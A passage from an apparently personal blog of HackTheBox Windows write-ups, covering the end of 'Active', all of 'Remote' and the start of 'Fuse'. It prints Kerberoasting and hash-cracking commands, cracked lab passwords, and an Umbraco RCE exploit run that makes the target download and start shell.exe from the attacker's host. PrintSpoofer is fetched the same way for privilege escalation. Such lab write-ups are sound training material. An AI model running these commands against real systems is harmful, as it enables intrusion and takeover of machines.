should have just tried GetUserSPNs and been done with it, since that was exactly what the hint pointed to. I simply hadn&amp;rsquo;t read the error carefully at the time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command below can adjust the time, but the error comes back again a few seconds after the adjustment.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u active.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This tutorial solved the problem and let me set the time correctly.&lt;/p&gt;&#10;&lt;p&gt;Anyway, I got the hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ticketmaster1968&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;It felt pretty manageable overall—mostly a chance to get more familiar with an AD environment. I overlooked the clock-sync issue and wasted a bit of time there, but the box was generally good practice for getting comfortable with AD penetration testing.&lt;/p&gt;&#10;&lt;h2 id="14remote"&gt;&lt;a href="#14remote" class="header-anchor"&gt;&lt;/a&gt;14.Remote&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through every port one by one except 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous FTP worked, but there was nothing there. I made a note of it for now—maybe the FTP directory was also the web root.&lt;/p&gt;&#10;&lt;p&gt;SMB didn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d used NFS a few times on VulnHub before, but that was quite a while ago. Luckily, I still had my notes.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;showmount -e 10.10.10.180&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t nfs 10.10.10.180:/site_backups ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had everything, so it was time to see what was actually running on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t find anything interesting.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the NFS share alongside the website. This was my first time seeing a directory structure like this, so I searched around to figure out what it was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked a lot of directories but still couldn&amp;rsquo;t find the main page, so I went straight to &lt;code&gt;find&lt;/code&gt;. It loaded every file while searching, which made things a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I noticed that all these files were concentrated in one directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I looked up Umbraco, and sure enough, it was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also had plenty of RCE vulnerabilities. First, though, I needed to find the version.&lt;/p&gt;&#10;&lt;p&gt;I found a few leads: one pointed to the admin page, another suggested checking the application, and one more said the version might be in webconfig. While searching for other webconfig files, I also tried a common exploit directly, but it apparently required credentials.&lt;/p&gt;&#10;&lt;p&gt;I started Googling and manually searching for credentials. Google results said the username and password would both be in the database, not anywhere else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found the version. It matched the exploit I was looking at exactly, but I still needed credentials to use it.&lt;/p&gt;&#10;&lt;p&gt;Eventually, while Googling, I found where the SQL credentials were stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;According to that post, the file was at App_Data/Umbraco.sdf, and I would need to convert the Umbraco SQL CE database to SQL Express.&lt;/p&gt;&#10;&lt;p&gt;The tool URL they provided no longer worked: &lt;a class="link" href="http://sqlcetoolbox.codeplex.com/" target="_blank" rel="noopener"&#10; &gt;http://sqlcetoolbox.codeplex.com/&lt;/a&gt;. The other tutorials all used a plugin installed in VS, but I still managed to find the tool itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip" target="_blank" rel="noopener"&#10; &gt;https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was extremely awkward to use. It required a database connection before it could open anything; without one, it couldn&amp;rsquo;t decode the file. I was completely stuck here. I never expected an easy box to stop me dead like this. But when I took another look at the file, I realized most of it was binary, so getting mostly garbled output from cat was perfectly normal. There was still some noise in strings too, but most of its output was clearly readable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried skipping the tool and just running strings directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:baconandcheese&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Now I could run the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test worked, so I could build the actual exploit command.&lt;/p&gt;&#10;&lt;p&gt;Getting a shell was a bit of a struggle, but I got there in the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command start \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only after getting in did I remember the FTP service. Uploading through FTP and then executing the file would have worked just fine. Meanwhile, I&amp;rsquo;d spent all that time looking for a writable folder and painstakingly building the upload command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;From there, I could just use the Potato exploit to escalate privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PrintSpoofer64.exe -i -c cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, it wasn&amp;rsquo;t too bad—it was an easy box, after all. The part that tripped me up was finding the password. At first, I searched for where Umbraco stored its database password, or even where the database file itself was located. I kept searching, but nothing told me where it was. Later, I can&amp;rsquo;t remember exactly what I searched for, but I came across a blog post that revealed the database file&amp;rsquo;s location. I initially followed the method in that post, but it required connecting to a new database. After thinking about it for a while, I finally realized strings could expose the plaintext. Then came the reverse shell. I don&amp;rsquo;t know why cmd commands wouldn&amp;rsquo;t work; they had no effect and also threw errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In the end, I followed the tutorial for this exploit and pieced the command together that way. Most of the difficulty was really concentrated in getting the shell.&lt;/p&gt;&#10;&lt;h2 id="15-fuse"&gt;&lt;a href="#15-fuse" class="header-anchor"&gt;&lt;/a&gt;15. Fuse&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another domain controller.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LDAP:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;DNS:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to add these two domains to my hosts file first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuse.fabricorp.local. hostmaster.fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Other than that, LDAP didn&amp;rsquo;t give me anything else. I had gathered everything I could for now, so it was time to look at port 80.&lt;/p&gt;&#10;&lt;p&gt;It redirected automatically.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the DNS results had actually given me another domain, hostmaster.fabricorp.local. It looked like that might come in handy too.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get anywhere with port 80, so I turned my attention back to SMB and LDAP. I had only tried connecting to SMB anonymously and hadn&amp;rsquo;t looked into it in detail. There are actually plenty of other ways to gather information from SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //&amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //&amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; # Enumerate SMB shares accessible through a null session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39; # Enumerate anonymously accessible SMB shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Name: FABRICORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Sid: S-1-5-21-2633719317-1471316042-3957863514&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [+] fabricorp.local\:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked LDAP too, but there was nothing there. Port 80 had nothing either, so I started brute-forcing subdomains in case that turned up something.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum fabricorp.local --dnsserver 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H &amp;#34;Host: FUZZ.fabricorp.local&amp;#34; --hh 103&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I noticed something odd: an IP ending in 85 was listed in the domain controller&amp;rsquo;s DNS records. 